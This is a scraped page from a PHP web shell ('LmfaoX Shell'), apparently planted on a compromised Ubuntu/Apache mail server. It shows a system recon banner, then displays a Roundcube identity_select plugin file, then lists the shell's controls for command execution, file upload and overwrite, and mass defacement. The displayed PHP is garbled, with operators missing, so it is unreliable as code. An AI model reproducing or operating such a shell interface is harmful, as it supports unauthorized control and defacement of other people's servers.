ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:27.27 GB of 70.42 GB (38.73%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ http/ mail/ plugins/ identity_select/ - drwxr-xr-x

Directory:
Viewing file:     identity_select.php (1.9 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Identity selection based on additional message headers.
 *
 * On reply to a message user identity selection is based on
 * content of standard headers i.e. From, To, Cc and Return-Path.
 * Here you can add header(s) set by your SMTP server (e.g.
 * Delivered-To, Envelope-To, X-Envelope-To, X-RCPT-TO) to make
 * identity selection more accurate.
 *
 * Enable the plugin in config.inc.php and add your desired headers:
 *   $config['identity_select_headers'] = array('Delivered-To');
 *
 * @version @package_version@
 * @author Aleksander Machniak <alec@alec.pl>
 * @license GNU GPLv3+
 */
class identity_select extends rcube_plugin
{
    public 
$task 'mail';


    function 
init()
    {
        
$this->add_hook('identity_select', array($this'select'));
        
$this->add_hook('storage_init', array($this'storage_init'));
    }

    
/**
     * Adds additional headers to supported headers list
     */
    
function storage_init($p)
    {
        
$rcmail rcmail::get_instance();

        if (
$add_headers = (array)$rcmail->config->get('identity_select_headers', array())) {
            
$p['fetch_headers'] = trim($p['fetch_headers'] . ' ' strtoupper(join(' '$add_headers)));
        }

        return 
$p;
    }

    
/**
     * Identity selection
     */
    
function select($p)
    {
        if (
$p['selected'] !== null || !is_object($p['message']->headers)) {
            return 
$p;
        }

        
$rcmail rcmail::get_instance();

        foreach ((array)
$rcmail->config->get('identity_select_headers', array()) as $header) {
            if (
$header $p['message']->headers->get($headerfalse)) {
                foreach (
$p['identities'] as $idx => $ident) {
                    if (
in_array($ident['email_ascii'], (array)$header)) {
                        
$p['selected'] = $idx;
                        break 
2;
                    }
                }
            }
        }

        return 
$p;
    }
}
Command:
Quick Commands:
Upload:
[OK] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [OK]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.1918 seconds